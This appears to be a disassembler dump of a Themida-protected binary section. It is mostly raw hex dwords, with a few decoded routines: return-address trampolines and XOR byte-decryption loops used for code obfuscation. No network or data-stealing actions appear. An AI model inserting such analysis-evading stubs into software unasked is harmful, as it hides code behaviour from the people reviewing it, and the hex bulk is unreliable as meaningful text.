dd 8D850Fh, 12E80000h, 3B000000h, 975F9F68h, 7555DA71h
dd 0E7CD6652h, 17CB314Eh, 1B5893Ch, 5B07A824h, 6A026Ah
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
dd 7AC333C3h, 8D891B74h, 7A80F31h, 7F59D8Bh, 8B5007A8h
dd 240489FEh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Bh, 0B8C35242h, 257BF01Ah, 9107479h, 0A81B61BDh, 45958907h
dd 0FF07A831h, 0A814E595h, 0F4DF8107h, 0E9769B3Eh, 0E06h
dd 0E8h, 0ED815D00h, 7AC40D0h, 8C0F8CB7h, 1Dh, 178F0Fh
dd 12E90000h, 62000000h, 0E2DD4D17h, 6CF3E886h, 0A7DBF766h
dd 6263EED7h, 3858DCDh, 6007AB8Ch, 0C9D8A8BAh, 6E904h
dd 499C0000h, 0E1098422h, 0BF669061h, 0F505EB2h, 48Bh
dd 0CDBF6600h, 6A90F9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 190424h, 57470000h, 0D4666C3h, 89B99D7Dh, 0A83375B5h
dd 1ACB8107h, 642898D5h, 35FFh, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0B1979FC3h
dd 0B4C4F623h, 9D8B8615h, 7A80891h, 258964h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h
dd 43000000h, 0ADBAC353h, 8FCB49A7h, 22F12DFEh, 7998D89h
dd 0CE907A8h, 0C000000h, 14E5821Fh, 28FD5C96h, 0FF6682A6h
dd 0A80EE585h, 50006A07h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1704h, 0C3504000h, 43ED76B8h, 0DE9h, 47BCF300h
dd 0F48AF105h, 297F76BAh, 0FF6A05CFh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 19h, 72C35343h, 8E92DC2Bh, 0FFD98B4Dh
dd 0A81A75B5h, 0F4BB6607h, 6D95FF74h, 0E907A824h, 0FEh
dd 2631BD8Bh, 0B007A8h, 5BD8B56h, 5B07A827h, 8219589h
dd 70E607A8h, 0AE9h, 14C45600h, 5FF9BF17h, 0E4BE9F01h
dd 0CC38BF71h, 613C4A56h, 0C8830Fh, 0F98B0000h, 89C8B60Fh
dd 0A824C99Dh, 6BA07h, 95890000h, 7A82249h, 9D89C18Bh
dd 7A825E1h, 8B04E8C1h, 0A821A99Dh, 0E2F76607h, 8B66C82Bh
dd 0E9D18BFBh, 3, 8BF9BF0Fh, 0A8102185h, 0C9953107h, 8307A80Ch
dd 0BD0307C0h, 7A81371h, 0EE9h, 0C4E8E100h, 1571B8B6h
dd 0D48AD1B1h, 8350F936h, 0D03B00C0h, 0E830Fh, 8B660000h
dd 54E9FEh, 0BD890000h, 7A800A1h, 2B058D8Bh, 6E907A8h
dd 8D000000h, 0C23803DFh, 1E1831Fh, 34840Fh, 0A5830000h
dd 7A82B05h, 7E9FEh, 0C1460000h, 0AF80DA7Ah, 219589A1h
dd 0E807A810h, 0Ah, 96CEC5B0h, 6255C966h, 0E781657Fh, 7E3C9D35h
dd 0E95Bh, 0B58D0000h, 7ABD2C9h, 5DDBBF66h, 6A006Ah, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
dd 66F855C3h, 95FFF88Bh, 7A80D21h, 25ED9D8Bh, 0B7B907A8h
dd 6A000006h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 16042444h, 45000000h, 50A2C355h, 0FCE183D5h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0CAC35343h, 2F268DCEh
dd 0DE9AD06h, 90000000h, 5501F5A3h, 0EE8DBEAh, 248726B5h
dd 56006AFCh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h
dd 0C3564600h, 9BBFE945h, 36905507h, 26899589h, 0B807A8h
dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 16042444h, 42000000h, 1B50C352h, 0D22BF960h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 57C35747h, 0BBA91057h
dd 4D074315h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0B5BD09FCh
dd 0D07A80Bh, 88h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ah, 0EEC35242h, 26870840h, 958B8941h, 7A81731h
dd 314DBD89h, 8D8B07A8h, 7A80A59h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ah, 1FC35040h, 41868D2Eh, 0BF66D3E9h
dd 8B50CB8Dh, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h
dd 0A55BD89h, 6A07A8h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 180424h, 56460000h, 3F5E83C3h, 0BE93368h, 0D000000h
dd 0E963CB4Dh, 0B1AE7ABDh, 800F8214h, 3, 23DA8B66h, 0A80675BDh
dd 85BD8307h, 7A818h, 98840Fh, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 150424h, 56460000h, 0F5145C3h
dd 1383h, 0D8A0F00h, 0E9000000h, 8, 5EE80BBAh, 7D99336h
dd 0B8h, 3C78000h, 4E4D8D8Dh, 6A07A8h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0BA590EC3h
dd 251AE799h, 6004BB66h, 6AE1FFh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 160424h, 51410000h, 1A749BC3h, 0AD9D2950h
dd 5F07A805h, 0C6D9589h, 0BD8307A8h, 7A80939h, 0A8840F00h
dd 89000003h, 0A80EB59Dh, 0C9BD8B07h, 8307A822h, 0A80939BDh
dd 840F0107h, 3AAh, 939BD83h, 0F0307A8h, 36786h, 6A6000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 45CF69C3h, 99DA2D91h, 19BD0BC7h, 8B07A815h, 0A82695BDh
dd 0D98C6607h, 915B589h, 0E18007A8h, 52006A04h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 6AD79334h
dd 0ADFB70Fh, 31840FC9h, 31000001h, 0A8192D95h, 0B1858B07h
dd 2907A80Bh, 0A80CC9B5h
dd 71853307h, 6A07A828h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 18042444h, 43000000h, 5E88C353h, 0FF39ED6h
dd 1988h, 14E900h, 3E420000h, 0E3E9313Ch, 0B81A7075h, 0C97BD445h
dd 353A2B10h, 50908358h, 0E0BB6652h, 0BB310F34h, 38030359h
dd 6650585Ah, 908B83BFh, 5F97BF66h, 32B99589h, 6A07A8h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 77C35646h
dd 3B556841h, 939761C0h, 789C6828h, 9E81CCAh, 0A3000000h
dd 0B07E4609h, 0EE8BF1B4h, 14E850h, 90950000h, 0D754DBF6h
dd 334F45B5h, 37861B7Eh, 0BC8AC945h, 5B5BCC8Ch, 2434815Fh
dd 1CD57B63h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 15h, 0AAC35646h, 84B0BF14h, 95FF0B76h, 7A80539h, 9E856h
dd 6F90000h, 0B0F2ADC7h, 29324078h, 0A80E399Dh, 895F5F07h
dd 0ABBB2B85h, 59950107h, 0E907A835h, 179h, 0B65BD89h
dd 0BD8B07A8h, 7A8222Dh, 0BB23858Bh, 0BE907ABh, 0D9000000h
dd 989D42CCh, 0A0228DF2h, 0C791D2h, 18h, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 16h, 0DEC35646h, 0BD8B49F6h
dd 7A824D5h, 1BF218BBh, 27B58B2Ch, 6A07ABBBh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
dd 0C90FC357h, 19F1BD8Bh, 0B58907A8h, 7A80DD9h, 0CCD858Bh
dd 9D8B07A8h, 7A81A71h, 0F456D781h, 6895C4Eh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 59C35646h, 0EEEB2706h
dd 14800Fh, 0FE90000h, 3F000000h, 0F4EC9734h, 0F071AD74h
dd 1C9B6688h, 858B41A8h, 7A80BB1h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 15h, 0B5C35141h, 446895Fh, 895022B7h
dd 0E9F92434h, 11h, 68CEFFCEh, 0AAF23B8h, 0F7F42D93h, 0F5D10209h
dd 23B5FF87h, 0E907ABBBh, 0Eh, 6D4C84F7h, 59926900h, 0F31C3436h
dd 766825E0h, 0BBA7F4F7h, 1A16D81Ch, 89240481h, 8B582A0Ch
dd 0A834E59Dh, 2B858D07h, 6007ABBBh, 7A19523h, 810F07A8h
dd 6, 2D41BD89h, 906107A8h, 406133BFh, 0F98B5078h, 0FFFE8B90h
dd 0A8053995h, 6830F07h, 89000000h, 0A80DD98Dh, 6A6107h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
dd 89F54DC3h, 0A829A5BDh, 3985C707h, 307A809h, 0FC000000h
dd 0BB2BBD83h, 0F0007ABh, 2784h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1404h, 0C3514100h, 21E940h, 95310000h
dd 7A82745h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch
dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h
dd 6AC08B00h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 19042444h, 46000000h, 4F0FC356h, 3627AB5Dh, 89F88B66h
dd 0A82919BDh, 0D7DF8107h, 8947B1B5h, 0A806B99Dh, 39BD8307h
dd 307A809h, 4A4850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1D0424h, 50400000h, 47837DC3h, 0FA004812h
dd 0E9B0D9C2h, 0Fh, 0B58F680Bh, 8CB30F6Dh, 0C7EB2E15h
dd 83C5E8B8h, 0ABBB2BBDh, 840F0007h, 45Eh, 1321BD01h, 0B5FF07A8h
dd 7ABBB2Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 18h, 68C35141h, 0DFB1FB66h, 247595FFh, 6A07A8h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
dd 66E2FDC3h, 0E4F6031Dh, 85899FB8h, 7A81735h, 2DA9BD8Bh
dd 0B58B07A8h, 7ABBB1Fh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 15h, 0F3C35040h, 0A59D8B73h, 0C707A824h, 1000106h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h
dd 0C3574700h, 0A92E0315h, 11860Fh, 0CE90000h, 49000000h
dd 0CEFC93ABh, 6ECD776Fh, 96F2C82Bh, 11E9h, 0A8556F00h
dd 0EAEC6D80h, 5644828Ch, 85DFFF65h, 5050E94Ah, 0FDF8B52h
dd 96585A31h, 2BB5FFF5h, 8B07ABBBh, 0A80D35BDh, 0E595FF07h
dd 6A07A823h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1B042444h, 43000000h, 0A875C353h, 76821620h, 8BFC0117h
dd 0ABBB1FB5h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1D04h, 0C3524200h, 0C9122A4h, 9F163741h
dd 9D8B677Dh, 7A8197Dh, 1A019D09h, 858B07A8h, 7A82941h
dd 0C48689h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1D0424h, 50400000h, 30C6BC3h, 6705B597h, 8BA68B49h
dd 0A8049D9Dh, 31958B07h, 8907A817h, 0A810498Dh, 4C28307h
dd 9E9h, 8F3E6700h, 6FE39B2Bh, 5089DB72h, 79853120h, 8D07A829h
dd 0ABCFC185h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1A04h, 0C3564600h, 0DC176B94h, 665610DEh
dd 0E8BE02BBh, 0Ch, 79A75DF3h, 0B07F4706h, 19E744Fh, 0A9BB6660h
dd 66F8BF15h, 5F6134AFh, 0B88689h, 95290000h, 7A82F35h
dd 8B66006Ah, 2BB5FFDAh, 6A07ABBBh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 18042444h, 40000000h, 5C9C350h
dd 898564C3h, 0A823E195h, 0E595FF07h, 0E807A814h, 7, 0E7011776h
dd 0F2FF2F2h, 505BDEB7h, 6A243489h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0B26C357h
dd 77C40754h, 0BD8BE788h, 7A8045Dh, 0BB2BB5FFh, 6A07ABh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 0FF59CDC3h, 0AE9h, 0E321CF00h, 0DD1EF6ADh, 0FF971BF5h
dd 0A81D0995h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1B04h, 0C3564600h, 4617C52Bh, 736375ECh
dd 0B199D8Bh, 0BD8307A8h, 7A81DFDh, 72840F00h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h
dd 43000000h, 76D7C353h, 0FBFD4112h, 8D2923A6h, 7A80F19h
dd 50525096h, 0E3BF6652h, 0F310F39h, 88h, 0F585A00h, 5AD98B31h
dd 52505058h, 52505250h, 585A310Fh, 0CE9310Fh, 9A000000h
dd 1C2B3264h, 71D24058h, 5ABFC48Fh, 0BF310F58h, 63AF23C7h
dd 3196585Ah, 0A8174D8Dh, 2BB5FF07h, 0F07ABBBh, 385h, 0DBBF0F00h
dd 10D595FFh, 0DE807A8h, 30000000h, 8CD3233Ch, 598B1A35h
dd 58A516DDh, 23B18589h, 0FF5B07A8h, 0ABBB2BB5h, 0F8F78107h
dd 0FF7DC21Bh, 0A80B3995h, 51006A07h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1404h, 0C3514100h, 0DE940h, 1C260000h
dd 0DE0BC045h, 29B74385h, 83E124F7h, 0A831F5BDh, 840F0207h
dd 57h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h
dd 0D7C35040h, 76664D96h, 0C1BD8B13h, 8B07A80Fh, 0A8298185h
dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h
dd 0C3574700h, 0EBAFEA61h, 8E0FA636h, 0
; ---------------------------------------------------------------------------
mov byte ptr [eax], 0
mov dword ptr [ebp+7A821C9h], 0
push 0
push ebp
call sub_5C62CC
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C62CC proc near ; CODE XREF: Themida_:005C62C4p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_5C62CC endp
; ---------------------------------------------------------------------------
dd 0C96C8C5Ch, 1A49BD33h, 7BE907A8h, 6AFFFFF3h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
dd 0FABC355h, 1F436DA1h, 1B519D0Bh, 0C18B07A8h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 21C35646h, 4EC4C038h
dd 6B965D70h, 858DFB8Bh, 7A80425h, 4599D8Bh, 0BB5007A8h
dd 0F9780C2h, 6A240489h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 15042444h, 42000000h, 9274C352h, 45D0DEBBh
dd 6A006A27h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1B042444h, 41000000h, 9D2AC351h, 7251EB30h, 0EE8B71Dh
dd 6A000000h, 5C4687E8h, 112CDC8Dh, 0CBC83AA4h, 0BE95B9Ch
dd 0D5000000h, 0CF6A967Ah, 0EE5ED03Ch, 6A2E24h, 50D5858Dh
dd 666007ACh, 12E9F98Bh, 0A4000000h, 8F2D8406h, 4C8AF9A0h
dd 0D6E0AEBBh, 7A053678h, 0C0836126h, 95BD8B05h, 5007A810h
dd 0FE9h, 0F1570E00h, 0D8A4FF44h, 9C172B6Bh, 421558B7h
dd 6A240489h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 16042444h, 46000000h, 0AC2AC356h, 4D958936h, 6607A82Fh
dd 0B781C781h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1B0424h, 50400000h, 0C8F031C3h, 8654FC81h, 6A006AFAh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h
dd 40000000h, 3060C350h, 5D971B4h, 4DDA7953h, 24A1BD89h
dd 0DD8A07A8h, 1B3995FFh, 6A07A8h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1B0424h, 56460000h, 87F036C3h, 5EF87C1Eh
dd 3B8D8D86h, 8907AB9Ah, 0A83065BDh, 29D1FF07h, 0A81C85B5h
dd 0A5BD8307h, 107A806h, 78850Fh, 0BB660000h, 26A8BDFh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 62C35545h
dd 9C76994Bh, 0A394FEE4h, 0F88B6699h, 0C68A6050h, 0A3A1BF66h
dd 24048961h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Dh, 23C35343h, 2FBBFB20h, 95352905h, 0DB8166EEh, 95FF3D73h
dd 7A814E5h, 88D0Fh, 81570000h, 0AAE7DCF3h, 0FFE95B6Ch
dd 0E800000Eh, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 7AC50DFh
push 0
push eax
call sub_5C655A
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C655A proc near ; CODE XREF: Themida_:005C6552p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_5C655A endp
; ---------------------------------------------------------------------------
dw 0E73h
dd 12E88Eh, 36A40000h, 2474AD89h, 985D6A0Ch, 8804E5B2h
dd 3DC91E4Ah, 0DE9h, 0D0D2F900h, 0F9B79314h, 0D61715A7h
dd 8D5F66F5h, 0AB8C0385h, 53006A07h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 239C8324h
dd 0A252B9F3h, 0FB8B6650h, 0E9240489h, 8, 9C85A177h, 356B829Dh
dd 35FF64h, 56000000h, 0F7816653h, 5B5B7016h, 258964h
dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 15042444h, 43000000h, 2D21C353h, 0EDD9589h, 85FF07A8h
dd 7A80EE5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Dh, 0EEC35646h, 0C300C7C3h, 775B2631h, 0F38166E9h
dd 0BD89C67Ch, 7A8316Dh, 6AFF6Ah, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 150424h, 53430000h, 23C0CDC3h, 0A82FE99Dh
dd 41B5FF07h, 0F07A826h, 108Ch, 0BE900h, 0D9A0000h, 89BE9809h
dd 0D7DFC1A5h, 6D95FF16h, 0E907A824h, 17Bh, 55B58960h
dd 0E907A80Bh, 14h, 0EE603FA6h, 61BD4696h, 15AD506Ah, 6D446F45h
dd 43A3F628h, 6600B061h, 454CB81h, 958970E6h, 7A80781h
dd 8D8971E4h, 7A81A35h, 830F613Ch, 13Bh, 9E8h, 0F0D2D900h
dd 6EB4E723h, 8F0FDDECh, 6, 2C75BD8Bh, 0F5F07A8h, 8166C8B6h
dd 0BA3701CFh, 6, 0EB5BD2Bh, 0BD3307A8h, 7A824C5h, 8589C18Bh
dd 7A80B05h, 0E8C1FC8Ah, 9C5BF04h, 860F7E17h, 5, 8ADB8166h
dd 0E2F76619h, 331B589h, 0C82B07A8h, 0DE8h, 515CCA00h
dd 85089EDDh, 72E1534Dh, 810FF10Dh, 5, 4DC38166h, 0D18B5B2Eh
dd 1BE9h, 10E900h, 6F4A0000h, 9F3EF773h, 0FF2529D5h, 0F755AC9Fh
dd 9D8BE280h, 7A80465h, 18C9858Bh, 858907A8h, 7A8305Dh
dd 8B07C083h, 0A82CC5BDh, 0C08307h, 30F99D89h, 0D03B07A8h
dd 32830Fh, 840F0000h, 4, 9F81BF66h, 13E8h, 0E090CF00h
dd 0C924DF98h, 0E212510Bh, 19569035h, 0EDDE2359h, 51E95Fh
dd 0BF660000h, 0BD31C468h, 7A82929h, 2F318D8Bh, 8B6607A8h
dd 8D8B60FEh, 7A80775h, 0BACE8166h, 0E18361ABh, 28840F01h
dd 8B000000h, 0A80879BDh, 31A58307h, 0FE07A82Fh, 4840Fh
dd 0BF660000h, 9589529Eh, 7A818C9h, 2AB1BD23h, 0E907A8h
dd 8D000000h, 0ABDB77B5h, 6D8D2907h, 6A07A828h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 0ED51CCB6h, 2195FFA4h, 0F07A80Dh, 9BB9FAB7h, 6A00000Dh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h
dd 41000000h, 962EC351h, 9A0A4486h, 0DBB70F19h, 0E7816657h
dd 835F046Ah, 6AFCE1h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 160424h, 56460000h, 8260CC3h, 0E19509FCh, 2B07A828h
dd 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h
dd 0C3524200h, 83CF7711h, 63F7FE99h, 0BAF075h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h
dd 43000000h, 47C9C353h, 627B5788h, 4870F35h, 66000000h
dd 0AD99F3BBh, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
dd 4137C357h, 19958928h, 6007A80Ah, 6880Fh, 8D2B0000h
dd 7A803D1h, 6A61F8h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 180424h, 51410000h, 97FFEDC3h, 880D7D11h, 60000000h
dd 0AAD8529h, 8D8907A8h, 7A82601h, 31958B61h, 6607A817h
dd 8B84CCBBh, 0A80A598Dh, 57006A07h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 97909CE2h
dd 556C58B8h, 8B504A37h, 3188BC2h, 8B188BC1h, 3E8D1C1h
dd 58188BC2h, 0EA59531h, 0BD8907A8h, 7A81BD9h, 1885BD83h
dd 0F0007A8h, 4684h, 0B8D88B00h, 0
; ---------------------------------------------------------------------------
mov ebx, [ebp+7A829B9h]
lea ecx, [ebp+7A84E4Dh]
push 0
push ebx
call sub_5C69E3
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C69E3 proc near ; CODE XREF: Themida_:005C69DBp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 14h
inc ebx
push ebx
retn
sub_5C69E3 endp
; ---------------------------------------------------------------------------
db 0A8h
; ---------------------------------------------------------------------------
mov ebx, [ebp+7A822ADh]
xor [ebp+7A8336Dh], ebx
jmp ecx
; ---------------------------------------------------------------------------
jnp loc_5C6A0B
movzx ebx, si
loc_5C6A0B: ; CODE XREF: Themida_:005C6A02j
cmp dword ptr [ebp+7A80939h], 0
jz loc_5C6E85
push 0
push ebp
call sub_5C6A23
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C6A23 proc near ; CODE XREF: Themida_:005C6A1Bp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_5C6A23 endp
; ---------------------------------------------------------------------------
db 0A8h
dd 7082C006h, 2F14FCC1h, 6E984h, 0D06A0000h, 0BD1CFE9Ch
dd 186DBD89h, 0BD8307A8h, 7A80939h, 45840F01h, 0F5000004h
dd 2425BD8Bh, 0BD8307A8h, 7A80939h, 0FB860F03h, 6A000003h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h
dd 41000000h, 0ACADC351h, 6A60CC43h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 7BBAC353h
dd 0AE8h, 84DC6500h, 6214D113h, 52B5E888h, 0B8DF8166h
dd 665B5F26h, 6AD98Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1C0424h, 51410000h, 65CD4CC3h, 0A41DE1E4h, 0BD0BD2C6h
dd 7A81DDDh, 3557BF66h, 0F04E180h, 289h, 0A33B700h, 4C840FC9h
dd 6A000001h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 14042444h, 45000000h, 2900C355h, 0A82ADD9Dh, 0B1858B07h
dd 5707A80Bh, 3BEB8166h, 85335B0Dh, 7A82871h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0B7C35646h, 0F5B8DF5h
dd 0F90DAB7h, 281h, 5001B300h, 6A90FDB3h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0F5A7C356h
dd 628587FDh, 35B7964Fh, 12E9h, 9F03D400h, 0A958AB00h
dd 9EC49033h, 437879D1h, 6A388238h, 0EB816600h, 33681925h
dd 66BF339Dh, 481FA8Bh, 0EB66CC24h, 9589F840h, 7A817D1h
dd 53995FFh, 6A07A8h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1B0424h, 50400000h, 0A169A1C3h, 0FCDB5EC7h, 0BE876h
dd 9B130000h, 0B9772B0Bh, 0A365C2CEh, 99589B8h, 5F07A810h
dd 0BB2B8589h, 6A07ABh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 150424h, 51410000h, 0B390A8C3h, 1CCE9EAh, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
dd 0DAD586C3h, 13DEF1F1h, 8BD88493h, 0ABBB2385h, 53006A07h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
dd 0B73BD212h, 0BC0343B1h, 1800C7h, 2B600000h, 0A8243595h
dd 0B58B6107h, 7ABBB27h, 31CF8166h, 0CD858B2Eh, 6A07A80Ch
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h
dd 47000000h, 4F22C357h, 93F24E56h, 0F38166D5h, 68982B9h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 51C35747h
dd 0CCC8D57Ch, 52488483h, 13E9DBh, 368D0000h, 79F1D2C0h
dd 0D58DF758h, 76A9D51Fh, 2C17FB6Ch, 0B1858BC2h, 6A07A80Bh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h
dd 40000000h, 0B004C350h, 60EA781Ah, 0BBD38166h, 44689AAh
dd 0FFB70F51h, 9FBF505Bh, 892F5A97h, 6A2434h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0E8B6F4C3h
dd 8166A843h, 0FF5E80C3h, 0ABBB23B5h, 0D9B70F07h, 3762D268h
dd 0C840F01h, 0F000000h, 68Bh, 0F525000h, 81585A31h, 612D2434h
dd 6A0128h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
dd 50400000h, 8DF945C3h, 0ABBB2B85h, 8E85007h, 54000000h
dd 1845A1Fh, 0E89DD856h, 0Eh, 0A2EB203h, 3D8496ACh, 7AD5A695h
dd 13E86A96h, 0A4000000h, 0C70D4059h, 0D13607Ah, 5D94C0E8h
dd 4C35F612h, 5F5BD54Ch, 2404895Fh, 50F38166h, 3995FFF2h
dd 6607A805h, 6A61DA8Bh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 16042444h, 45000000h, 4C34C355h, 6EF381BDh
dd 0C70BE1D8h, 0A8093985h, 307h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 8361B60Fh
dd 0ABBB2BBDh, 840F0007h, 16h, 7E9h, 0D5C68100h, 5AA0DA9Ah
dd 20E9h, 0F3816600h, 30501F67h, 4400110Ch, 0E8C10111h
dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
db 36h
; ---------------------------------------------------------------------------
loc_5C6E85: ; CODE XREF: Themida_:005C6A12j
; Themida_:005C6E9Cj
push eax
xor [ecx+edx], al
add [ecx+edx+1], ah
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], ah
pop eax
sub ecx, 4
jnz short loc_5C6E85
jmp short loc_5C6EBB
; ---------------------------------------------------------------------------
loc_5C6EA0: ; CODE XREF: Themida_:005C6EB7j
push eax
shr eax, 10h
sub [ecx+edx+3], ah
xor [ecx+edx+2], al
pop eax
sub [ecx+edx+1], ah
xor [ecx+edx], al
sub ecx, 4
jnz short loc_5C6EA0
jmp short $+2
loc_5C6EBB: ; CODE XREF: Themida_:005C6E9Ej
mov eax, eax
push 0
push eax
call sub_5C6EC8
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C6EC8 proc near ; CODE XREF: Themida_:005C6EC0p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_5C6EC8 endp
; ---------------------------------------------------------------------------
dd 58B2FD6Eh, 0E7D22686h, 7E9940Dh, 4F000000h, 93F24E56h
dd 0BF66C5D5h, 6A9DABh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1A0424h, 57470000h, 740C2EC3h, 94CBC005h, 939BD83h
